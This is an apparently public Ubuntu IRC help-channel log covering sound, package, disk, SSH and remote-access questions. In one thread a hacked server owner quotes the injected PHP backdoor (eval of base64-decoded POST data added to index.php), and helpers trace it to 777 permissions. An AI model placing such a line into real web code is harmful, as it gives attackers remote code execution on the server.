| ActionParsnip | smw94: when the link drops, run: dmesg | tail it may give clues | 14:43 |
| ikonia | AcidRain2012: right - so your machine is compromised, it needs a clean install | 14:43 |
| ikonia | AcidRain2012: and a clean application install | 14:44 |
| ikonia | AcidRain2012: you've been compromised, nothing is fact | 14:44 |
| Wiz_KeeD | Twinkletoes, the softwares that you use to edit the pdf, does it keep it in the exact same form? | 14:44 |
| trafalgar | ActionParsnip: Can't post if I don't log in, and my question is about the behavior of logging in | 14:44 |
| smw94 | ActionParsnip: just plug and replug the device | 14:44 |
| Guest20717 | ikonia: you gave the real value of PATH before and i have it, my issue is how to correct the file when restricted? | 14:44 |
| Wiz_KeeD | I remember trying out pdfedit or something of that sort before and allthough it decoded it, it changed the font and mangled everything up | 14:44 |
| ikonia | Guest20717: I can't as I don't have that file, someone else on ubuntu - the same version as you can | 14:45 |
| trafalgar | ActionParsnip: nvm lol gotchya | 14:45 |
| AcidRain2012 | installing tripwire | 14:45 |
| ikonia | AcidRain2012: that will not help now | 14:45 |
| ActionParsnip | trafalgar: cool | 14:45 |
| Twinkletoes | Wiz_KeeD: Why don't you try it? | 14:45 |
| ikonia | AcidRain2012: your system is compromised - it is useless to try to secure it now | 14:45 |
| AcidRain2012 | ikonia, ill remove the malicious code and wait for another attack | 14:45 |
| Twinkletoes | Wiz_KeeD: It serves my needs, is all I can say | 14:45 |
| ikonia | AcidRain2012: you can't do that | 14:45 |
| ikonia | AcidRain2012: you don't know what else is changed and what else has been hidden | 14:45 |
| ActionParsnip | AcidRain2012: if you have been compromised then anything could have been affected, so you may install stuff but it may be thwarted or show no issues | 14:45 |
| ikonia | AcidRain2012: hence why clean install and application re-install is the only way | 14:45 |
| Twinkletoes | Wiz_KeeD: Inkscape can also save as PDF | 14:45 |
| AcidRain2012 | ikonia, this is the 3rd time | 14:45 |
| ikonia | AcidRain2012: then you need to plug the hole | 14:45 |
| ikonia | AcidRain2012: I'm guessing wordpress or something like that is being exploiuted | 14:46 |
| Wiz_KeeD | Did you edit pdf that were nicely aligned with fonts and images and edited that stayed in the same form? | 14:46 |
| AcidRain2012 | ikonia, well im mostly here asking questions because i cant find the hole | 14:46 |
| ikonia | AcidRain2012: right - so installing tripwire now is pointless | 14:46 |
| AcidRain2012 | ikonia, no wordpress | 14:46 |
| AcidRain2012 | :( removing tripwire | 14:46 |
| ikonia | AcidRain2012: explaining the problem may get people to help you how to fix it | 14:46 |
| clue_h | AcidRain2012, where did you go to get infected | 14:46 |
| ikonia | AcidRain2012: then you can do a clean install and have confidence you've plugged it | 14:46 |
| AcidRain2012 | ikonia, i was hacked. reinstalled ubuntu. hacked again | 14:47 |
| ikonia | AcidRain2012: right so you have a problem, you need to work out by telling us the details how to fix it | 14:47 |
| AcidRain2012 | explanation of problem: if (isset($_POST['update'])) {eval(base64_decode($_POST['update'])); exit;} is added to index.php. how? idk | 14:47 |
| ikonia | AcidRain2012: that is not detail | 14:47 |
| ikonia | AcidRain2012: that is random stuff | 14:47 |
| Guest20717 | ikonia: then may be it was some one else, i asked for the value and some one gave me this PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games" on this same site | 14:47 |
| ikonia | Guest20717: great | 14:47 |
| AcidRain2012 | ikonia, im giving you all the information that i have | 14:47 |
| AcidRain2012 | idk how it got there | 14:48 |
| ikonia | AcidRain2012: no you're not - what application is being compromised | 14:48 |
| Pici | AcidRain2012: So you're running a web server? | 14:48 |
| ikonia | AcidRain2012: just a random line of code is nothing | 14:48 |
| AcidRain2012 | lol. ikonia idk | 14:48 |
| AcidRain2012 | i would say apache2 | 14:48 |
| ikonia | AcidRain2012: you don't know what application you are running | 14:48 |
| ikonia | AcidRain2012: what is the name of the file that's being compromised ? | 14:48 |
| AcidRain2012 | apache2 is the only service on my machine that has access to those files | 14:48 |
| peetaur | AcidRain2012: to prevent easy hacking is very simple ... disable root login; disable password and pam auth and use pubkey only; firewall the machine from the WAN; and if paranoid, any untrusted network software should run in apparmor, like skype, browsers, mail client, etc. | 14:48 |

| ikonia | AcidRain2012: ok, so the code is code you are writing yourself ? | 14:49 |
| Guest20717 | ikonia: still the same restriction | 14:49 |
| ikonia | Guest20717: no it's not | 14:49 |
| AcidRain2012 | ikonia, i would never write that code. EVER. | 14:49 |

| AcidRain2012 | yes | 14:50 |

| ActionParsnip | ikonia: my money is on 777 :) | 14:50 |

| AcidRain2012 | zomg | 14:51 |
| ikonia | AcidRain2012: that means anyone (including your webserver process) can write to it | 14:51 |
| AcidRain2012 | ikonia, ill change now | 14:51 |
| ikonia | so an injection into your webserver into a known named file (index.php) will be a BIG hole | 14:51 |
| ikonia | AcidRain2012: it's too lage to change it now | 14:52 |
| ikonia | AcidRain2012: your machine is compromised ! | 14:52 |

| AcidRain2012 | ikonia, i can tell that a bot has done this | 14:52 |
| ikonia | AcidRain2012: so ? | 14:52 |
| ikonia | AcidRain2012: what does that have to do with it | 14:52 |

| ikonia | AcidRain2012: your machine is compromised, changing permissions now is pointless | 14:53 |
| ikonia | AcidRain2012: you need to lock down your webserver much better | 14:53 |

| mrrcp | im just giving a example | 15:09 |
| LinuxGold | ActionParsnip: because NSA asked hotel to do that for them. | 15:09 |
| KI7MT | __raven, simple way, do a read or write to the drive. Check your BIOS and make sure there is not some strange power saving thing going on, 2 minutes is very short. lastly, look at the HD config params in the kernel. | 15:10 |

| clue_h | mrrcp, if on the public internet, using remote desktop software is perhaps not a good idea without a vpn or another solution offering encryption. | 15:11 |

| mrrcp | and install netflix | 15:12 |
| mrrcp | for him on ubuntu | 15:12 |
| ActionParsnip | mrrcp: if the public wifi router is blocking you it will thwart any attempts at all | 15:12 |

| mrrcp | ActionParsnip: i understand that.. i want to have the ability to remote in when needed where every he is at to assist him.. Not really looking for a work around. I just was wondering if there were any tools out there other than TeamViewer to allow me to do this.. | 15:16 |
| ActionParsnip | mrrcp: you can use vnc through an ssh tunnel | 15:16 |
| kalekip1 | ActionParsnip: Failed to open output device: pa_stream_writable_size() failed: Connection terminated | 15:16 |
| mrrcp | yea.. but you still need a ssh tunnel to complete | 15:16 |
| mrrcp | ok i think i figured the answer out | 15:16 |
| etc | ActionParsnip: Mounted on /media/dfd5cf8d-f50e-4d76-af87-3628e8879a78 | 15:17 |
| KI7MT | ssh is probably the best tool for the job. | 15:17 |
| mrrcp | there isnt a tool built in ubuntu to allow us to do that.. but if i have a vpn or ssh tunnel we can | 15:17 |
| OerHeks | mrrcp, there must be a reason why those ports at that school are closed. | 15:17 |

| kalekip1 | ActionParsnip: No idea? | 15:20 |
| mikkelam | Hi there. I am on a network where i am not able to port forward. Is there any alternative to utilize? | 15:21 |
| ActionParsnip | __raven: could cron a job to write to a file on the strage every 30 seconds or so | 15:21 |
| ActionParsnip | kalekip1: have you searched the web for what the error means? | 15:21 |
| akshay2000 | mikkelam: What're you trying to achieve exactly? | 15:21 |
| __raven | ActionParsnip, thats a bit difficult because the whole partition is encrypted - any byte in the mbr i could flip? | 15:21 |
| clue_h | __raven, and within that job probably try udisks with something like --ata-smart-wakeup | 15:22 |

| silvio- | Hey guys how do i start a second mysql instance using mysql_safe on system start up? | 15:23 |
| akshay2000 | mikkelam: Open port from where? Your router? Because, your Ubuntu box should already have the ports open unless you have seperate firewall installed. | 15:23 |
| KI7MT | var1=$(mktemp ./tm.XXX) && rm "$var1" every 170 sec or so. | 15:23 |
| MrMonkey13 | Q: alright, so when running a program, all I have to do is type the name + & into terminal right, like gimp & | 15:23 |
| akshay2000 | MrMonkey13: You could run it even without the & at the end, I suppose. | 15:24 |
| === Guest22239 is now known as mfisch | ||
| kalekip1 | ActionParsnip: Yea, for 5 minutes, I'll Google a bit longer :/ | 15:24 |
| mikkelam | akshay2000: I do not have any firewall myself, however my ISP has blocked all incoming ports. I am connected to a WAN with my router, which is already port forwarded | 15:24 |
| MrMonkey13 | akshay2000: they told me to use &, but cool I think I get this | 15:24 |
| rypervenche | MrMonkey13: I would use the GUI to open it, but you can open it using "command & disown" then you can close the terminal safely. | 15:24 |

| wessel | Does it make sense to create clickable/runnable desktop icons? Or is this handled differently on Ubuntu? | 15:25 |
| wessel | For example, I'd like to have a clickable java -jar RapidMiner.jar | 15:25 |
| ActionParsnip | wessel: you can have desktop icons to launch stuff if you want | 15:25 |
| wessel | and some Firefox -P MyProfile -no-remote | 15:25 |
| MrMonkey13 | rypervenche: ah, ty | 15:25 |
| akshay2000 | mikkelam: I'm afraid, if ISP is blocking the connections, you can't do much. | 15:25 |
| ActionParsnip | wessel: if you make .desktop files in /usr/share/applications you can launch them from Dash and even drag them to the Unity launcher | 15:25 |
| wessel | okay cool | 15:26 |
| akshay2000 | You could tunnel your connection over something though! mikkelam. Something like VPN or tunneling connection over another box which does have open ports should work. | 15:26 |
| KI7MT | wessel, more info on launchers: https://help.ubuntu.com/community/UnityLaunchersAndDesktopFiles | 15:27 |
| OerHeks | KI7MT +1 | 15:27 |
| kalekip1 | ActionParsnip: Google did not help. I tried adding sudo before and it worked. Now I'll reboot to try it. Thanks | 15:28 |
| mikkelam | akshay2000: Thanks, i'll consider that!§! | 15:28 |
| etc | ActionParsnip: still am restricted to write to /etc/environment | 15:30 |
| MrMonkey13 | Agh, this isn't right, does someone know where the "files" file manager shows free space on a disk? | 15:31 |
| clue_h | MrMonkey13, du -h from command line might be an alternative | 15:32 |
| ActionParsnip | etc: try: gksudo gedit then open the file, remember to open the one ikn the mount point. the /etc folder is the one for the liveCD envionmen | 15:32 |
| clue_h | i mean df -h | 15:32 |
| rypervenche | MrMonkey13: I don't really use the GUI anymore, but you can use "df -h" from the command line. | 15:33 |
| clue_h | or system monitor>file systems tab | 15:33 |
| MrMonkey13 | hmm. thanks guys. I'm going to need a file manager for my file stuff though. np, I already know where I can find some new ones, just wondering whether I could reconfigure the existing one | 15:34 |
| KI7MT | MrMonkey13, There's lots of ways to show it, but I dont think Nautilus has it built in. You can use. System Monitor, Conky, df / du term commands, etc. | 15:34 |
| MrMonkey13 | yeah that's a... weird thing to exclude | 15:35 |
| kalekip1 | ActionParsnip: I didn't work | 15:36 |
| KI7MT | MrMonkey13, I was wrong, with dconf-editor: gsettings set org.gnome.nautilus.window-state start-with-status-bar true enables it. | 15:36 |
| litropy | I want to make it so that I don't have to ente my password every time I try to connect to my university's wifi. My university's connection is a bit non-standard. It uses PEAP with MSCHAPv2, and no certificate. | 15:36 |
| litropy | enter* | 15:36 |
| KI7MT | set to false to disable it. | 15:36 |
| kalekip1 | btw, why does my pc reboot if I select "Shut Down ..." | 15:36 |
| kalekip1 | ? | 15:36 |
| clue_h | MrMonkey13, if nautilus, choose 'go' > then computer, right click file system and it's there in properies as 'free space' | 15:36 |
| ActionParsnip | kalekip1: do you have the latest BIOS? | 15:37 |
| KI7MT | Yeah, what he said, that works to :-) | 15:37 |
| kalekip1 | ActionParsnip: How can I check that? | 15:37 |
| ActionParsnip | kalekip1: manufacturers website | 15:37 |
| kalekip1 | ActionParsnip: It's from 2012, I didn't manually change it | 15:38 |
| MrMonkey13 | chlue_h: hmm, no my precise pangolin doesn't have nautilus. I found it's named Files. good to know tho | 15:38 |
| clue_h | i'm on precise too lol | 15:38 |
| clue_h | oh ubuntu 2d | 15:38 |
| MrMonkey13 | *not sure if I said that right :-P | 15:39 |
| litropy | Windows computers don't have this problem. I think it's because nm wants to make sure I'm not using a certificate, but I'm not sure as to the reason why. | 15:39 |
| jemand | how do I change the applications that display under the "applications" tab in lucid lynx? | 15:39 |
| crav | any idea why I'm unable to boot without first loading an install disk? | 15:40 |
| jemand | for instance, I have gedit on here, but I want ti to show in "office" tools | 15:40 |
| litropy | dmesg isn't saying anything significant/ | 15:40 |
| KI7MT | MrMonkey13, clue_h with right-click method, need to make sure your on the correct partition, say fer example if home was mounted outside of /root, system would tell you /root free space, not /home. | 15:41 |
| clue_h | this is why i just use df -h | 15:41 |
| ActionParsnip | crav: have you written grub to the MBR of the internal disk? | 15:41 |
| === Dave is now known as Guest39178 | ||
| xebra | hi, anyone here knows xampp (you get apache + php + lots of stuff all in one installation) | 15:42 |
| crav | don't think so. | 15:42 |
| OerHeks | xebra we do not support xampp, only lamp | 15:42 |
| kalekip1 | xebra: I do. USe LAMP instead | 15:43 |
| kalekip1 | xebra: sudo apt-get install lamp-server^ phpmyadmin | 15:43 |
| ActionParsnip | !lamp | xebra | 15:43 |
| ubottu | xebra: LAMP is an acronym for Linux-Apache-MySQL-PHP. However, the term is often used for setups using alternative but different software, such as Perl or Python instead of PHP, and Postgres instead of MySQL. For help with setting up LAMP on Ubuntu, see https://help.ubuntu.com/community/ApacheMySQLPHP - See also the Server CD installation process. | 15:43 |
| KI7MT | Dash >> Disk Analyzer is accurate for all nodes as well. | 15:43 |
| kalekip1 | The X stands for cross-platform if I'm not mistaken. You can use XAMP on Windows as well as Linux as well as Mac | 15:44 |
| kalekip1 | I'd just stick with WAMP (for windows) and LAMP for Linux | 15:44 |
| KI7MT | xebra, open xterm >> tasksel, select LAMP, <ok> enter passwords, done. | 15:44 |
| jemand | is it not possible to add programs to the applications tab? | 15:45 |
| kalekip1 | KI7MT, I already told him what he could do. And that's the best answer | 15:45 |
| crav | well yes, grub loads but not until I "boot from first HDD", after the | 15:45 |
| jemand | oh well, I can open the program other ways, it just is less convenient | 15:45 |
| kalekip1 | KI7MT: tasksel can harm your Linux if you don't use it correctly. | 15:45 |
| m_tadeu | hi..how can I make apt use the system proxy? | 15:45 |
| KI7MT | How can you mis-use it, its a select or deselect, that's it. | 15:46 |
| OerHeks | !tasksel | 15:46 |
| ubottu | Tasksel is a Debian/Ubuntu tool that installs multiple related packages as a co-ordinated "task" onto your system, see https://help.ubuntu.com/community/Tasksel for more information. Use tasksel only to INSTALL tasks, not to remove them. It will remove every package listed within the removed task! see https://launchpad.net/bugs/574287 | 15:46 |
| kalekip1 | KI7MT: Many people tend to deselect stuff. Deselecting = uninstalling | 15:46 |
| etc | ActionParsnip: thanks a lot, that solved the issue, :) | 15:46 |
| MrMonkey13 | ah well, what I really wanted to get into is something I noticed with nautilus (other box) and this simply named Files utility as well, which is that when moving files with the mouse it sorts the files into the list. with Windows I came to appreciate that new files appearing in a directory would be placed at the end of the list, until I refresh the list manually. I don't suppose there's a gsetting for that, off the top of ur heads? | 15:46 |
| ActionParsnip | etc: yay | 15:46 |
| etc | now about to restart | 15:46 |
| mydog2 | hmm.. ssh question.. on a target system.. i removed thew authorized_keys file.. | 15:46 |
| KI7MT | It's the default and preferred method for server installs. | 15:46 |
| mydog2 | from the client.. i was still able to login with no passwd... | 15:46 |
| kalekip1 | KI7MT: Like I said, sudo apt-get install lamp-server^ phpmyadmin is the preferred way. | 15:47 |
| mydog2 | is there a caching file somewhere that i can blow away to test ? | 15:47 |
| KI7MT | It's the same thing :-) .. | 15:47 |
| swaq | Guys. I'm swaqqing. | 15:47 |
| kalekip1 | KI7MT: Really?... It's not. | 15:47 |
| KI7MT | well also lamp-server isn't ins apt cache, | 15:48 |
| kalekip1 | KI7MT: the caret (^) means it's from tasksel. It IS different. | 15:48 |
| Pici | kalekip1: Its no different. | 15:49 |
| kalekip1 | Pici: In the end it isn't, but when you install it it is. | 15:49 |
| KI7MT | Ok fare enough, when doing a server install, tasksel is the methood it uses. | 15:49 |

| mydog2 | jhutchins, - hmm.. the 1st ~/.ssh/authorized_keys.. the other would be?? | 15:52 |
| faugusztin | etc: /etc/profile.d ? | 15:53 |
| KI7MT | kalekip1, so your point is not to use tasksel directly but type out the command manually wiht the carrot [^] | 15:54 |
| jhutchins | mydog2: I may be wrong, I was thinking there was a system-wide authorized_keys in /etc/ssh/. | 15:54 |

| Pici | kalekip1: There is nothing non-safe about installing using tasksel. | 15:56 |
| jhutchins | Hundred: https://help.ubuntu.com/community/UpgradeNotes | 15:57 |
| kalekip1 | Pici: I've heard many people failing, because they unchecked a few of the list. They thought it was unneccerarily, but in the end they saw that unchecking = uninstalling. | 15:57 |

| gordonjcp | KI7MT: cool, I quite like York as long as I don't have to drive a truck in it ;-) | 16:17 |
| k1l | bejker: but its not supported by ubuntu | 16:17 |
| k1l | bejker: so that is causing the problems. remove the drivers and dont use sgfxi | 16:17 |
| bejker | ok how to fix that? | 16:17 |
| KI7MT | gordonjcp, yeah, kinda rough once your inside the Ring-Road :-) | 16:17 |
| bejker | but how to remove | 16:17 |
| gordonjcp | KI7MT: try it in a 7.5 tonner... | 16:17 |
| phunyguy | offtopic, etc. | 16:18 |
| KI7MT | LOL no thanks | 16:18 |
| gordonjcp | KI7MT: I must get up on 30m myself, just looking at your QRZ page | 16:18 |
| kalekip1 | Blweh. No sound at all >.< | 16:18 |
| KI7MT | 30m = Magic Band !! | 16:18 |
| gordonjcp | KI7MT: apparently so | 16:18 |
| gordonjcp | KI7MT: I have no 30m TX although I can receive | 16:19 |
| gordonjcp | KI7MT: my HF rig pre-dates 30m and WARC | 16:19 |
| KI7MT | Yeah, that' a problem then, gotta have 30m, all the DXE's hit 30m now days, that band just works. | 16:20 |
| kalekip1 | Hey, my sound doesn't work anymore on Ubuntu 13.04. Yesterday it worked fine. Any solutions? | 16:20 |
| bejker | kalekip1: aslaconfig | 16:20 |
| bejker | alsaconfig | 16:21 |
| OerHeks | kalekip1, did you tried removing the .pulseaudio folder? | 16:21 |
| gordonjcp | KI7MT: yeah I often listen to PSK31 on 30m | 16:21 |
| gordonjcp | KI7MT: I need to sort out my Notice of Variation to get on 60m ;-) | 16:21 |
| kalekip1 | OerHeks: No, I only used killall pulseaudio; rm -r ~/.config/pulse* | 16:21 |
| KI7MT | kalekip1, http://blog.ubuntulinuxguide.com/2013/06/static-background-noise-ubuntu-1304.html | 16:22 |
| KI7MT | and http://askubuntu.com/questions/291165/sound-problems-after-upgading-to-13-04 | 16:22 |
| OerHeks | kalekip1, that would do the same. check alsamixer and see with F6 if the right soundcard is selected and all levels are up | 16:22 |
| faugusztin | bejker: did you tried booting with different boot parameters ? i mean when you are presented with grub menu, press e to edit the selected row, remove quiet splash, add text and try to boot that way. it should go to text mode instead of GUI, thus it should not lock up when starting X ? after that just remove the mess you created :) | 16:22 |
| KI7MT | Seems there's a udev issues of sorts, need to read futher to pin point it exactly. | 16:23 |
| kalekip1 | OerHeks: Where do I find alsamixer? :3 | 16:23 |
| bejker | faugusztin: i cant startx :D | 16:23 |
| KI7MT | gordonjcp, JT65 / JT9 on 30m, great modes as is CW of cource. | 16:23 |
| OerHeks | kalekip1, terminal: alsamixer # it is a tty app | 16:23 |
| faugusztin | bejker: oh so you can boot then ? then i guess your best way to fix it would be removing nvidia drivers and then readding them again, that should overwrite the existing modules | 16:24 |
| bejker | faugusztin: right now i instaled officiall driver what ubuntu find and i hope its work | 16:24 |
| gordonjcp | KI7MT: my CW is terrible, but I'm working on it. Never got the wsjt stuff to work, all the deps on Fortran scared me off | 16:24 |
| faugusztin | kalekip1: alsa-utils ? | 16:24 |
| kalekip1 | got the screen | 16:24 |
| KI7MT | gordonjcp, dont need gfortran to run, only to build the apps, that and Qt5, FFTW and Hamlib. | 16:25 |

| helasraizam | Hey guys, how do I get rid of a broken package whose uninstall script doesn't work? sudo dpkg --configure -a, sudo dpkg install -f --force-all, sudo apt-get autoremove/clean/update/upgrade fails at each step citing the broken dpkg package. The package is emacs-snapshot from Cassou's repo (the bug has been reported by another user), but I just want to get rid of it and go back to emacs24. | 16:25 |
| Mouser25 | I have a DEL Latitude E5510 That I Installed Ubuntu 13.04 64bit and it worked great with 3G of ram but yesterday I upgraded it to 8GB and it wont boot with the new memory without loading the kernel with the mem=4096M option ... Any Ideas on how to use all 8GB - system usage for the video card and what not? There is no Memory Remap option in the bios that I can find and the bios detects all 8G of ram. | 16:25 |

| OerHeks | kalekip1, and maximize that terminal, alsamixer has a lot of settings | 16:27 |
| OerHeks | kalekip1, arrow up and enter | 16:27 |
| helasraizam | Avnish, a python script or just the python terminal? | 16:27 |
| KI7MT | helasraizam, when all else fails, but the install pck list and manually remove them. Your better off build the source and using checkinstall as the pkg manager than using dpkg. | 16:27 |
| kalekip1 | O.o | 16:28 |
| kalekip1 | OerHeks: I hear sound again! XD | 16:28 |
| helasraizam | KI7MT I was afraid someone would say that. There is really no better way than manually? (I don't know what a pck list and checkinstall are) | 16:28 |
| OerHeks | kalekip1, have fun | 16:28 |
| faugusztin | Mouser25: Latitude E5510 is has a H55 chipset, memory remap is gone since... i think P35, so you won't find that there. my guess would be some strange ugly conflict of some hardware with fixed memory address. did you tried to look if there are no known issues with that laptop and that much ram ? | 16:28 |
| kalekip1 | OerHeks: Thanks, even though your solution didn't help me. | 16:29 |
| KI7MT | helasraizam, not is apt-, apptitude or dpkg is falling over whn you try to remove them, that's the three main engines. | 16:29 |

| faugusztin | kalekip1: or is one analog at back and another at front ? then i don't think it works | 16:35 |
| kalekip1 | faugusztin: I think the last. Why does it work in Windows? | 16:35 |
| faugusztin | kalekip1: you probably were using a windows realtek driver feature, which was pushing the same sound to both back and front connectors | 16:35 |
| KI7MT | need to blacklist that driver and modprobe the correct one. | 16:36 |
| kalekip1 | faugusztin: Yes, I think that's it. Don't I have an option to do that on Ubuntu? | 16:36 |

| === Jan11 is now known as ON1 | ||

| TomyLobo | ok, i have a freshly built 7u40 package now :) | 17:17 |
| KI7MT | TomyLobo, the PPA is posting binary's, which are build from source obviously, so if you can get the source history, or have them build from 7u25 source history level, that should do it, but I'd also check why 7u40 is breaking and 7u25 is not. | 17:17 |
| wilee-nilee | Guest17032, did you add a PPA? | 17:17 |
| Guest17032 | wilee-nilee, yes | 17:17 |
| MonkeyDust | Guest17032 in a terminal, paste this line, what's the outpu sudo apt-get install pastebinit;sudo apt-get update|pastebinit | 17:17 |
| etc | geirha: am finding it heard to understand your last message to me, still are you proposing something like PATH="...(other path):$JAVA_HOME/bin:$JRE_HOME:$PATH" | 17:17 |
| wilee-nilee | Guest17032, We don't support them and that is the problem. | 17:17 |
| etc | ? | 17:18 |
| === jack is now known as Guest95577 | ||
| Guest17032 | wilee-nilee, trying to install gnome3 | 17:18 |
| TomyLobo | KI7MT: i did, it's not fixable without breaking compatibility to 7u25 | 17:18 |
| SJr | KI7MT, hmmmm I would have that SMART would notice the problems with reallocated sectors. | 17:18 |
| SJr | faugusztin, what makes you say that, I'm just curious? | 17:18 |
| faugusztin | etc: yes - $JAVA_HOME/bin:$JRE_HOME/bin:$PATH | 17:18 |
| wilee-nilee | Guest17032, gnome 3 is already there if you have unity. | 17:18 |
| SJr | I will change the SATA cable in a second but I will lose communication with this channel since my bounce is on that machine | 17:19 |
| SJr | or perhaps I should hotswap it. | 17:19 |
| Guest17032 | wilee-nilee, don't follow | 17:19 |
| Guest17032 | MonkeyDust, http://paste.ubuntu.com/6124792/ | 17:19 |
| etc | faugusztin: thanks, wounderful | 17:19 |
| KI7MT | TomyLobo, Best bet is to contact the maintaner I'd say, set them to send a 7u25 build for you, if they will do it, I doubt they will. | 17:19 |
| wilee-nilee | Guest17032, unity is a plugin in compiz running on gnome 3 you want the gnome-shell for the gnome 3 dektop. | 17:19 |
| KI7MT | get them .. .. | 17:19 |
| faugusztin | SJr: you mean the errors ? the high error rates versus no reallocated blocks | 17:19 |
| wilee-nilee | desktop* | 17:19 |
| SJr | yeah | 17:20 |
| SJr | okay | 17:20 |
| Guest17032 | wilee-nilee, and that is why I tried to install gnome-shell and ubuntu-gnome-desktop and now I am getting the error | 17:20 |
| SJr | thanks I'll be back in a bit | 17:20 |
| Guest17032 | wilee-nilee, not sure what the problem iw. | 17:20 |
| TomyLobo | KI7MT: i'm fairly familiar with building source packages, i just need to figure out bazaar :) | 17:20 |
| faugusztin | SJr: next option is to run seatools/ wd data lifeguard diagnostic on that drive | 17:20 |
| genii | MonkeyDust: Might want sudo apt-get update 2>&1|pastebinit | 17:20 |
| SJr | okay | 17:20 |
| faugusztin | SJr: then RMA if it fails out :) | 17:20 |
| KI7MT | SJr, I was referring to logging, of the errors, what's the problem you need help resolving? | 17:20 |
| MonkeyDust | Guest17032 i guess some sources are disabled, look in system settings > updates and sources to find out | 17:20 |
| Guest17032 | MonkeyDust, let me have a look | 17:21 |
| wilee-nilee | Guest17032, That failing install is from a ppa, the shell gives you the dektop and the fallback, you don't install the ubuntu-gnome-desktop | 17:21 |
| KI7MT | TomyLobo, Oh, well you can bzr co -r xxx .. it's fairy straight forward .. | 17:21 |
| SubCool | Can i mount an NFS over a WAN using my public IP address? | 17:21 |
| Guest17032 | wilee-nilee, ok, so then how can I purge it? | 17:21 |
| TomyLobo | hah, the source download contains a bzr repo, whos base revision seems to be u25 | 17:21 |
| TomyLobo | they didnt commit prior to building it :) | 17:21 |
| wilee-nilee | !ppa-purge | Guest17032 | 17:21 |
| ubottu | Guest17032: To disable a PPA from your sources and revert your packages back to default Ubuntu packages, install ppa-purge and use the command: « sudo ppa-purge ppa:<repository-name>/<subdirectory> » – For more information, see http://www.webupd8.org/2009/12/remove-ppa-repositories-via-command.html | 17:21 |
| etc | genii" faugusztin: i think i need more clarification on the command, am to run, i have it as "chown -R etc:etc /home/etc" is it right? | 17:22 |
| rb-tnc | Hello all, I am having a real issue I can not figure out. Nautilus (File Manager (and up until I removed it Nemo)) constantly crashes when accessing the menu. When i right click a file/folder and actually hit, rename, new, copy, paste.... is when it crashes. I have tried everything I know to try and figure out why and what is happening but I'm clueless, I am new to UNIX (less than 18 months). Any help would be greatly | 17:22 |
| rb-tnc | appreciated. | 17:22 |
| KI7MT | TomyLobo, but they have to have the source tree under bzr VCS for you to do that. | 17:22 |
| Guest17032 | MonkeyDust, not seeing anything disabled that is out of the ordinary. the only disabled sources are the ones with (source code) listed | 17:22 |
| Guest17032 | wilee-nilee, let me try that now | 17:22 |
| TomyLobo | KI7MT: what's the bzw equivalent of git reset --hard? :) | 17:22 |
| wilee-nilee | Guest17032, You also have held packages, are you or have you seen a partial upgrade in the update gui? | 17:22 |
| TomyLobo | or svn revert | 17:23 |
| KI7MT | TomyLobo, Pass, noty a git guru but can do a bit of googling | 17:23 |
| TomyLobo | (each without any further arguments) | 17:23 |
| genii | etc: The path will change according to where you are booted from. If you booted to the hard drive, that path is correct. If booted from a livecd, then append the directory name you maounted the hd under, typically /mnt | 17:23 |
| TomyLobo | KI7MT: or svn revert | 17:23 |
| Guest17032 | wilee-nilee, when I try to install ppa-purge I get the same error I have been getting about unmet dependencies. | 17:23 |
| Guest17032 | wilee-nilee, I don't believe so. | 17:23 |
| TomyLobo | basically how do i trash all changes since the last commit | 17:23 |
| SubCool | whats the cli command to transfer files | 17:24 |
| SubCool | src? | 17:24 |
| SubCool | scr? | 17:24 |
| dv- | scp? | 17:24 |
| KI7MT | TomyLobo, See "revert": http://doc.bazaar.canonical.com/migration/en/survival/bzr-for-svn-users.html | 17:24 |
| genii | etc: If you're not sure where it's mounted, issue: mount and it will report what is mounted where. If automaounted will typically be /media/<something> | 17:24 |
| Guest17032 | wilee-nilee, it looks like I can't install anything or remove anything until that dependency is met. | 17:24 |
| TomyLobo | alright, same command :) | 17:25 |
| wilee-nilee | Guest17032, YOU have put yourself in a stuck position, another person will have to help you here. | 17:25 |
| Guest17032 | wilee-nilee, I am not saying that it isn't my fault. thank you for trying anyway. | 17:25 |
| Guest17032 | MonkeyDust, any other suggestions? | 17:25 |
| DrFaustus | i'm running ubuntu 13.04 amd64 on a pentium 4 machine,what do u think about that? | 17:25 |
| KI7MT | TomyLobo, bascially: bzr revert -r 25 but you need to know what the 7u25 version was in order to revert to it. | 17:25 |
| MonkeyDust | Guest17032 none, try purging ppa's | 17:26 |
| KI7MT | bzr -r 25 is just example | 17:26 |
| Guest17032 | MonkeyDust, I just tried that. to install ppa-purge it still complains about the unmet dependency | 17:26 |
| SubCool | wilee-nilee, whats the cli command to transfers files at wirespeed | 17:26 |
| wilee-nilee | no idea | 17:26 |
| SubCool | scr | 17:26 |
| SubCool | src | 17:26 |
| SubCool | its associated with ssh | 17:26 |
| TomyLobo | looking good, thanks for the help, KI7MT | 17:27 |
| user82 | is it a bug or a feature that apps in the launcher disappear on reboot? only the ones automatically added by the software center | 17:27 |
| === dean is now known as dean|away | ||
| etc | genii: am going to reboot and run it on the drive, thanks | 17:27 |
| TomyLobo | no i didnt need a revision number. as i said the u40 change was uncommitted | 17:27 |
| SubCool | scp | 17:27 |
| SubCool | got it | 17:27 |
| wilee-nilee | Guest17032, try running this then the purge. sudo dpkg --configure -a | 17:28 |
| KI7MT | TomyLobo, ohh.. ok,. no commit., so -r should work straight away then. Cool glad it worked. | 17:28 |

| ubottu | DrFaustus: You can use your <tab> key for autocompletion of nicknames in IRC, as well as for completion of filenames and programs on the command line. | 17:31 |
| DrFaustus | <wilee-nilee>,how can it b fixed? | 17:31 |
| wilee-nilee | !details | DrFaustus | 17:31 |
| SJr | faugusztin, hmmmmm switching the SATA cable didn't help. | 17:31 |
| ubottu | DrFaustus: Please give us full details. For example: "I have a problem with ..., I'm running Ubuntu version .... When I try to do ..., I get the following output: ..., but I expected it to do ..." | 17:31 |
| KI7MT | TomyLobo, : echo <package> hold | sudo dpkg --set-selections | 17:31 |
| TomyLobo | faugusztin: taken care of that :) | 17:32 |
| Marlenee | anyone know what typr of panel this in the pic - http://imagebin.org/271283 | 17:32 |
| SJr | Is seatools / wd data lifegaurd really going to save the data or drive. If I don't mind buying a new drive it's a safe bet at this point I need one correct. There are also other errors, in the sys log. http://pastebin.ca/2454265 | 17:32 |
| faugusztin | SJr: no, but you will have a report you can present to RMA that your drive is faulty | 17:33 |
| TomyLobo | KI7MT: or "hold" in aptitude? :) | 17:33 |
| SJr | okay so I need to buy a new drive no matter what. | 17:33 |
| nydel | haven't seen it, Marlenee, but it's prettty | 17:33 |
| nydel | i've been using lxpanel | 17:33 |
